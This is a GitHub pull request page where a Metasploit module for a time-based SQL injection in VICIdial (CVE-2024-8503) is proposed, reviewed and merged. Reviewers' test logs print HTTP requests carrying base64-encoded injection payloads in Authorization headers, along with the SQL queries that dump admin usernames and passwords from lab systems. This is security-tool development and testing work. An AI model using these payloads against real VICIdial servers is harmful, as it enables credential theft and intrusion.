Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add VICIdial Time-based SQL Injection Module (CVE-2024-8503) #19453

Merged
merged 5 commits into from
Sep 25, 2024

Conversation

Chocapikk
Copy link
Contributor

@Chocapikk Chocapikk commented Sep 10, 2024

Hello, Metasploit team!

This PR introduces a new auxiliary module that exploits a time-based SQL injection vulnerability in VICIdial to enumerate admin credentials. This auxiliary module is designed for MySQL databases and allows the retrieval of admin usernames and passwords through blind SQL injection.

Key Features:

  • Leverages time-based SQL injection to extract sensitive admin data from vulnerable VICIdial instances.
  • Customizable SQL injection delay to improve or fine-tune scan speed.
  • Built with Metasploit’s SQLi API for seamless integration and extendability.

In Progress:

  • Documentation is still being worked on, so it’s not included in this PR yet.
  • There is a Remote Code Execution (RCE) vulnerability that can be coupled with this SQLi module. You can find more details in this advisory, but I haven’t implemented the RCE portion yet—focusing first on the SQLi auxiliary.

Copy link

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@h00die
Copy link
Contributor

h00die commented Sep 11, 2024

@dledda-r7 VICIdial is a PITA to setup (from my recollection). See #16732 or ping @jheysel-r7 . Just a heads up on that!

@dledda-r7
Copy link
Contributor

Thanks @h00die! I'll take a look on that.

@dledda-r7
Copy link
Contributor

dledda-r7 commented Sep 16, 2024

Hello @Chocapikk,
I setup the target and tried to test this module but I get not-vulnerable.
Tested Software Version: ViciBox_v10.x86_64-10.0.0
Leaving also the logs with HttpTrace on.

msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > run http://172.26.94.191/
[*] Running module against 172.26.94.191

[*] Checking if target is vulnerable...
####################
# Request:
####################
GET /VERM/VERM_AJAX_functions.php?function=log_custom_report HTTP/1.1
Host: 172.26.94.191                                                                                                                                                                                                                                                                                                         
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.2420.65                                                                                                                                                                               
Authorization: Basic TW5URDVTJywgJycsIChpZigxPTEsc2xlZXAoMS4wKSwwKSkpOyMgOnRmazJINw==                                                                                                                                                                                                                                       
                                                                                                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                                                                                                            
####################
# Response:
####################
HTTP/1.1 200 OK
Date: Mon, 16 Sep 2024 09:43:51 GMT                                                                                                                                                                                                                                                                                         
Server: Apache                                                                                                                                                                                                                                                                                                              
X-Powered-By: PHP/7.4.6                                                                                                                                                                                                                                                                                                     
Content-Length: 0                                                                                                                                                                                                                                                                                                           
Content-Type: text/html; charset=UTF-8                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                                                                                                            
####################
# Request:
####################
GET /VERM/VERM_AJAX_functions.php?function=log_custom_report HTTP/1.1
Host: 172.26.94.191                                                                                                                                                                                                                                                                                                         
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.2420.65                                                                                                                                                                               
Authorization: Basic RVpBcVBOJywgJycsIChpZigxPTIsc2xlZXAoMS4wKSwwKSkpOyMgOlF3UTI5MQ==                                                                                                                                                                                                                                       
                                                                                                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                                                                                                            
####################
# Response:
####################
HTTP/1.1 200 OK
Date: Mon, 16 Sep 2024 09:43:51 GMT                                                                                                                                                                                                                                                                                         
Server: Apache                                                                                                                                                                                                                                                                                                              
X-Powered-By: PHP/7.4.6                                                                                                                                                                                                                                                                                                     
Content-Length: 0                                                                                                                                                                                                                                                                                                           
Content-Type: text/html; charset=UTF-8                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                                                                                                            
[-] Target is not vulnerable.
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > 

Copy link
Contributor

@dledda-r7 dledda-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hello @Chocapikk, Thanks for your PR!
After following the new setup you shared everything worked smoothly, besides the fact VICIDial seems to have a broken DHCP client that didn't work well with my Hyper-V.

Leaving here the logs of the successful exploitation and couple of comments.

VERBOSE = true

msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > set rhosts 172.26.247.31
rhosts => 172.26.247.31
msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > exploit
[*] Running module against 172.26.247.31

[*] Checking if target is vulnerable...
[+] Target is vulnerable to SQL injection.
[*] {SQLi} Executing (select group_concat(MSKrsI) from (select cast(concat_ws(';',ifnull(User,''),ifnull(Pass,'')) as binary) MSKrsI from vicidial_users limit 1) sadi)
[*] {SQLi} Encoded to (select group_concat(MSKrsI) from (select cast(concat_ws(0x3b,ifnull(User,repeat(0xd4,0)),ifnull(Pass,repeat(0x26,0))) as binary) MSKrsI from vicidial_users limit 1) sadi)
[*] {SQLi} Time-based injection: expecting output of length 13

[!] No active DB -- Credential data will not be saved!                                                                                                                                                                      
[+] Dumped table contents:                                                                                                                                                                                                  
vicidial_users
==============

    User  Pass
    ----  ----
    6666  password

[*] Auxiliary module execution completed

VERBOSE = false

msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > exploit
[*] Running module against 172.26.247.31

[*] Checking if target is vulnerable...
[+] Target is vulnerable to SQL injection.
[+] Dumped table contents:
vicidial_users
==============

    User  Pass
    ----  ----
    6666  password

[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > 

@dledda-r7 dledda-r7 added docs and removed needs-docs labels Sep 20, 2024
@dledda-r7 dledda-r7 removed their assignment Sep 24, 2024
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @Chocapikk, looks great, testing was as expected

msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > run
[*] Running module against 172.16.199.145

[*] Checking if target is vulnerable...
[+] Target is vulnerable to SQL injection.
[*] {SQLi} Executing (select group_concat(rqg) from (select cast(concat_ws(';',ifnull(User,''),ifnull(Pass,'')) as binary) rqg from vicidial_users limit 1) sK)
[*] {SQLi} Encoded to (select group_concat(rqg) from (select cast(concat_ws(0x3b,ifnull(User,repeat(0xae,0)),ifnull(Pass,repeat(0xca,0))) as binary) rqg from vicidial_users limit 1) sK)
[*] {SQLi} Time-based injection: expecting output of length 9
[!] No active DB -- Credential data will not be saved!
[+] Dumped table contents:
vicidial_users
==============

    User  Pass
    ----  ----
    6666  1234

[*] Auxiliary module execution completed

@jheysel-r7 jheysel-r7 merged commit 456c57b into rapid7:master Sep 25, 2024
38 checks passed
@jheysel-r7
Copy link
Contributor

Release Notes

This adds a new auxiliary module that exploits a time-based SQL injection vulnerability in VICIdial to enumerate admin credentials. This auxiliary module is designed for MySQL databases and allows the retrieval of admin usernames and passwords through blind SQL injection.

@jheysel-r7 jheysel-r7 self-assigned this Sep 25, 2024
@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Sep 25, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

6 participants